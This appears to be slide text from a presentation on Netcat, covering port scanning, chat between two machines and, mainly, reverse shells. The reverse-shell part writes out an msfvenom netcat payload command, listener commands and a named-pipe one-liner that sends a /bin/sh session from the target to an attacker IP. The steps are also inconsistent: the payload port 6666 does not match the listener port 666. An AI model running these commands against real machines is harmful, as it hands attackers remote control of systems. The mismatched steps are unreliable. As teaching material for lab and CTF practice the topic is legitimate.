Netcat: Present by Bhargav Borkhatariya
Netcat: Present by Bhargav Borkhatariya
Netcat: Present by Bhargav Borkhatariya
We usually use Netcat to get reverse shell, but from port scanning,
file transfer to banner grabbing and exploit, everything is possible
with netcat.
In our presentation i just explain and show basic features of netcat.
What is netcat?
Netcat can be used as a port scanner. Netcat is not created for port
scanning, but if we use -z flag then we are able to do it. -z flag used
to scan listing daemon without sending any data. This makes it
possible to understand the type of service that is running on that
specific port. Netcat can perform both TCP and UDP scan.
TCP scan with netcat.
Two users can chat through netcat. But before that they need to
establish connection. To set all this we gonna use two different
devices. One OS is Elementary OS and another is our fab Kali. To set
up the connection we need to know the IP address of systems (In our
case we are using local IP).
From a device we can start the initiator. We run following command
from our Elementary OS to start initiator:
nc 192.168.225.54 12345
Here the IP address is our Elementary OS's local IP address and we
have chosen port number 12345 for just an example. As we can see in
the following screenshot:
Chatting with netcat.
Everyone knows that netcat have a major role to exploit target machines. This is
very helpful for CTF players and bounty hunters. This also works with Metasploit
payloads.
Linux Reverse Shell
We can easily create a reverse shell with the help of "msfvenom" and setup the
listener using netcat. For a Linux system as target we can use following command:
Code: msfvenom -p cmd/unix/reverse_netcat lhost=192.168.122.1 lport=6666 R
Here we used R flag used to generate a raw payload (Just the command).
After creating the payload we can just need to run it to target machine but before
that we start a netcat listener on attacker machine by using following command:
Code: nc -lvp 666
Reverse shell using netcat.
• Whenever the target runs the payload we'll get the session. We can
see that in the following screenshot:
• Sometimes for security reason we might not get the session using above
method. In that case we can start netcat listener on 443 port using following
command:
• Code: nc -lvp 443
• Then we just need to execute following commands on target Linux machine:
• Code: mknod /tmp/backpipe p
• /bin/sh 0</tmp/backpipe | nc 192.168.122.1 443 1>/tmp/backpipe
• BANG! We got shell!
Window reverse connection.